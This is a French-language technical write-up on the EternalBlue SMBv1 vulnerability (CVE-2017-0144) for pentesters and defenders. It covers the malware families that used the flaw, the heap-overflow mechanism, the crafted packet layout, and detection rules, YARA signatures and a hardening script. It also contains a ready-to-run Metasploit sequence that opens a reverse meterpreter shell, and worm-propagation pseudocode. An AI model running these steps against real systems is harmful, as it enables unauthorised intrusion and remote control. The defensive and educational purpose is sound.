
CVE-2017-0144

« Un exploit. Des dizaines de familles de malwares. Des milliards de dégâts. »
CVE-2017-0144 est une vulnérabilité critique d'exécution de code à distance dans l'implémentation du serveur SMBv1 de Microsoft Windows. L'exploit connu sous le nom d'EternalBlue a abusé de cette faille et a été utilisé dans des attaques à fort impact (notamment WannaCry).
| # | Malware | Type | Première apparition | Acteur | Dégâts | Notes |
|---|
| 1 | WannaCry | Rançongiciel | 12 mai 2017 | Lazarus Group (RPDC) | 4–8 milliards $ | Killswitch : iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com |
| 2 | NotPetya | Wiper (déguisé en rançongiciel) | 27 juin 2017 | Sandworm (Russie) | 10 milliards $+ | A utilisé Mimikatz + EternalBlue + PSEXEC |
| 3 | Bad Rabbit | Rançongiciel | 24 oct. 2017 | Indrik Spider | Régional | Drive-by via fausse mise à jour Flash |
| 4 | Uiwix | Rançongiciel | mai 2017 | Inconnu | Faible | Pas de killswitch, plus discret que WannaCry |
| 5 | EternalRocks | Ver | mai 2017 | Inconnu | Moyen | 7 outils NSA (dont DoublePulsar) |
| 6 | Adylkuzz | Cryptomineur | mai 2017 | Inconnu | Élevé (silencieux) | Miné du Monero avant WannaCry |
| 7 | Retefe | Cheval de Troie bancaire | 2017–2018 | Inconnu | Banques UE | A utilisé EternalBlue pour le mouvement latéral |
| 8 | TrickBot | Malware modulaire | 2017–2021 | Wizard Spider | Mondial | A déposé Ryuk via EternalBlue |
| 9 | Emotet | Chargeur | 2017–2021 | TA542 | Mondial | Utilisé comme point d'entrée pour Cobalt Strike |
| 10 | Clop / Dridex | Rançongiciel | 2019–2025 | TA505 | Santé, Gouvernement | Encore actif en 2025 |

| Outil | Date de sortie | Fonctionnalités |
|---|---|---|
| EternalBlue (Original) | Avr. 2017 (Shadow Brokers) | RCE SMBv1 |
| DoublePulsar | Avr. 2017 | Implant backdoor (ring0) |
| EternalRomance | Avr. 2017 | Variante SMBv3 |
| EternalChampion | Avr. 2017 | Chemin SMB alternatif |
| Module Metasploit | Mai 2017 | exploit/windows/smb/ms17_010_eternalblue |
| FuzzBunch | Avr. 2017 | Framework d'exploitation NSA |
| Impacket + PSEXEC | 2017–2025 | Exploitation SMB en Python |

« Un paquet malformé. Un accès SYSTEM complet. Aucune connexion. Aucun clic. »
[Attaquant]
│
├──▶ Envoie une requête **Trans2** SMBv1 fabriquée
│ → Déclenche un **dépassement de tas** dans `srv!SrvOS2FeaListSizeToNt`
│
├──▶ Écrase les pointeurs de fonction → **shellcode noyau**
│
└──▶ Exécute la backdoor **DoublePulsar** → **Payload Ring-0**
(ex. WannaCry `mssecsvc.exe`)
| Exigence | Détails |
|---|---|
| Cible | Windows avec SMBv1 activé (par défaut avant Windows 10) |
| Port ouvert | 445/TCP (ou 139/TCP via NetBIOS) |
| Pas d'authentification | Non authentifié — aucun nom d'utilisateur/mot de passe requis |
| Architecture | x86 ou x64 (les deux supportées) |
| État du correctif | Non corrigé (avant MS17-010) |
SMB_COM_NEGOTIATE → Le client envoie la liste des dialectes
Le serveur répond : SMBv1 supporté → Continuer
Pourquoi ? Confirme que SMBv1 est actif.

\\CIBLE\IPC$ → Partage anonyme pour les pipes SMB
Objectif : Établir une session pour envoyer des requêtes de transaction.
SESSION_SETUPFEALIST {
SizeOfListInBytes = 0xFFFF (ou grande valeur)
...
}
Déclenchement du bug :
SrvOS2FeaListSizeToNt()fait confiance à cette taille sans vérification des limites.

FEA {
AttributeNameLength = 0x00
AttributeName = "A" * 0x1000 → Tampon en dépassement
}
Heap Spray : Alloue de gros blocs pour contrôler la disposition mémoire.
srv!SrvOS2FeaListSizeToNt(
PFEALIST FeaList, // contrôlé par l'attaquant
PULONG pNtFeaListSize // pointeur de sortie
)
{
// Aucune validation de FeaList->SizeOfListInBytes
memcpy(dest, src, FeaList->SizeOfListInBytes); // BOOM
}
Free)KeUserModeCallback)mssecsvc.exe)
0x00120034)Ping : 0x0002C001Exec : 0x0002C002 + payloadExemple WannaCry :
EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → Chiffre les fichiers
En-tête SMB
└── Commande : 0x32 (TRANSACTION2)
└── Setup : 0x000E (SESSION_SETUP)
└── Paramètre : TotalDataCount = 0x1000
└── Données :
[FEALIST]
SizeOfListInBytes = 0x1100
[FEA #1] NameLen=0, Name="A"*0x1000
[FEA #2] ...
[GROOM x100] → Spray du tas
[OVERFLOW] → Écrase le pool
[SHELLCODE] → x64 ring0
| Outil | Langage | Module |
|---|---|---|
| Metasploit | Ruby | exploit/windows/smb/ms17_010_eternalblue |
| Impacket | Python | smbclient.py, psexec.py |
| FuzzBunch | Python (NSA) | EternalBlue-2.2.0 |
| C2 personnalisé | C/C++ | WannaCry, NotPetya |
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit
| Artefact | Emplacement | Valeur |
|---|---|---|
| DoublePulsar | Mémoire noyau | Clé XOR 0x00120034 |
| Shellcode | Pool de srvnet.sys | Motif 0xCC 0x90 0x48 |
| DLL injectée | C:\Windows\mssecsvc.exe | SHA256 : ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa |
alert tcp any any -> $HOME_NET 445 (
msg:"Tentative ETERNALBLUE";
flow:to_server,established;
content:"|ff|SMB2"; depth:5;
content:"|00 04 08 00|"; distance:100; within:4;
classtype:attempted-admin;
sid:1000001;
)
event smb1_transaction2_secondary(c: connection, hdr: SMB1::Header, args: SMB1::Trans2_Secondary_Args) {
if (args$data_len > 4096) {
NOTICE([$note=SMB::Large_Trans2_Data, $conn=c]);
}
}
while (true) {
Scanner le réseau pour le port 445
si (ouvert) → exploit EternalBlue
si (succès) → Déposer mssecsvc.exe + propager
Attendre(aléatoire(1000, 5000))
}
Vitesse de propagation : ~10 000 infections/heure dans le monde.
| Facteur | Raison |
|---|---|
| Pas d'authentification | SMBv1 permet IPC$ anonyme |
| Verifiable | Scan LAN intégré |
| RCE noyau | Contourne les antivirus/invites utilisateur |
| SMBv1 hérité | Activé par défaut pendant plus de 15 ans |
| Systèmes non corrigés | XP, 2003, 7 dans les infrastructures critiques |
| Année | % de réussite (non corrigé) |
|---|---|
| 2017 | 99 % |
| 2020 | 85 % |
| 2025 | ~60 % (héritage uniquement) |
Fonctionne encore sur Windows 7/2008 R2 sans MS17-010
EternalBlue = Erreur mathématique transformée en arme
Un champ de taille de confiance dans SMB → dépassement de tas noyau → code arbitraire → pandémie mondiale de rançongiciel
Paquet SMB → Dépassement de tampon → Shellcode noyau → DoublePulsar → Malware
Visualisé, disséqué et testé sur le terrain. Pour pentesteurs, équipes RI et défenseurs.
« Un paquet. Un port. Un empire qui tombe. »
| OS | Correctif KB | Désactiver SMBv1 | Script Nmap |
|---|---|---|---|
| Windows 7 / 2008 R2 | KB4012212 | sc config lanmanworkstation depend= bowser/mrxsmb20/nsi | smb-vuln-ms17-010.nse |
| Windows 10 | KB4013429 | PowerShell : Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol | |
| Windows XP (fin de vie) | KB4012598 (Urgence) | Registre : HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\SMB1 = 0 |

rule WannaCry_Ransomware {
strings:
$mz = { 4d 5a }
$s1 = "WannaDecryptor" wide
$s2 = "tasksche.exe"
$s3 = "@WANA" ascii
$encrypt = { 57 61 6E 61 43 72 79 70 74 30 72 }
condition:
$mz at 0 and 2 of ($s*)
}

rule NotPetya_Wiper {
strings:
$pdb = "perfc.dat" nocase
$dll = "dllhost.dat"
$mof = "ntdevmgr.vbs"
$mimikatz = "mimikatz"
condition:
uint16(0) == 0x5A4D and 2 of them
}


rule EternalBlue_SMB_Exploit {
strings:
$smb_negotiate = { 00 00 00 ?? ff 53 4d 42 72 00 }
$tree_connect = { 00 00 00 ?? ff 53 4d 42 75 00 }
$trans2 = { 00 00 00 ?? ff 53 4d 42 32 00 }
$overflow = { 00 04 08 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? }
condition:
all of them
}
| Métrique | Statut |
|---|---|
| SMBv1 exposé sur Shodan | ~1,2 million (nov. 2025) |
| Exploits actifs (honeypots) | Quotidien |
| Rançongiciels l'utilisant | Clop, LockBit (cibles héritées) |
| Plus vulnérables | Santé, Industrie, PME |
| Correctif Zero Trust | Bloquer 445, imposer MFA, EDR |
| Phase | Technique | ID |
|---|---|---|
| Accès initial | Exploitation d'application publique | T1190 |
| Exécution | RCE Windows SMB | T1210 |
| Persistance | Backdoor via DoublePulsar | T1505.003 |
| Mouvement latéral | Partages administratifs SMB/Windows | T1021.002 |
| Impact | Données chiffrées pour impact | T1486 |
# === SCRIPT DE DURCISSEMENT ETERNALBLUE ===
Write-Host "Application des atténuations EternalBlue..." -ForegroundColor Cyan
# 1. Désactiver SMBv1
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
# 2. Bloquer le port 445
New-NetFirewallRule -DisplayName "Bloquer SMB entrant" -Direction Inbound -Action Block -Protocol TCP -LocalPort 445
# 3. Activer la signature SMB
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" -Name "RequireSecuritySignature" -Value 1
# 4. Vérifier le correctif
$patch = Get-HotFix -Id KB4012212 -ErrorAction SilentlyContinue
if ($patch) { Write-Host "Corrigé !" -ForegroundColor Green } else { Write-Host "NON CORRIGÉ !" -ForegroundColor Red }
Write-Host "Redémarrage requis. Exécuter en tant qu'administrateur."
| Source | Lien |
|---|---|
| NVD | nvd.nist.gov/vuln/detail/CVE-2017-0144 |
| Microsoft MS17-010 | msrc.microsoft.com/update-guide |
| MITRE ATT&CK | attack.mitre.org/techniques/T1210 |
| Rapport CrowdStrike WannaCry | crowdstrike.com/blog/wannacry |
| Kaspersky EternalBlue | kaspersky.com/blog/wannacry-ransomware |
| Recherche Shodan | shodan.io/search?query=port%3A445+os%3A%22Windows%22 |
CVE-2017-0144 n'est pas morte — c'est un zombie hérité.
Elle prospère dans :
- Windows 7/2008 non corrigés
- IT fantôme
- Systèmes critiques isolés (air-gapped)
- Machines virtuelles cloud mal configurées
Si vous pouvez pinger le port 445 depuis Internet — vous êtes le prochain.
Construit avec précision, visuels et renseignements sur les menaces réelles. Mis à jour novembre 2025.
Pour les labs de pentest, les playbooks RI ou les briefings CISO.
« Corrigez-le. Bloquez-le. Tuez-le par le feu. »